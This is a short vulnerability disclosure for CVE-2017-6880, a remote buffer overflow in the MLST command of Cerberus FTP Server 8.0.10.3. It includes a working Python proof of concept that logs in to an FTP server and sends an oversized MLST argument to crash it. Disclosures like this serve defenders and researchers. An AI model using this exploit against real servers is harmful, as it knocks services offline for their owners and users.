Cerberus FTP Server 8.0.10.3 - 'MLST' Buffer Overflow

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Cerberus FTP Server 8.0.10.3 - 'MLST' Buffer Overflow

来源：wassline@gmail.com 作者：Asrir 发布时间：2017-03-20

[+] Title: Cerberus FTP Server 8.0.10.3 – 'MLST' Remote Buffer Overflow
[+] Credits / Discovery: Nassim Asrir
[+] Author Contact: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/
[+] Author Company: Henceforth
[+] CVE: CVE-2017-6880

Vendor:
===============

https://www.cerberusftp.com/

Download:
===========

https://www.cerberusftp.com/files/CerberusInstall.exe (32-Bit)

Vulnerability Type:
===================

Remote Buffer Overflow.

issue:
===================

This problem happens when the Attacker send the bad char "A" in the command "MLST" (2047).

POC:
===================
#Simple POC by Nassim Asrir from Henceforth.
import socket
bad_char = "A"*2047
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.81',21))
s.recv(1024)
s.send('USER nassim\r\n')
s.recv(1024)
s.send('PASS mypass\r\n')
s.recv(1024)
s.send('MLST ' + bad_char + '\r\n')
s.close()

https://gist.github.com/Nassim-Asrir/a1bb8479976d4bf6b7c0e63024a46cd6/archive/e76274496bf20a0d3ecbb4b2f6a408166808d03b.zip

Tested on:
===============

Windows 7 Sp1 (64 Bit)

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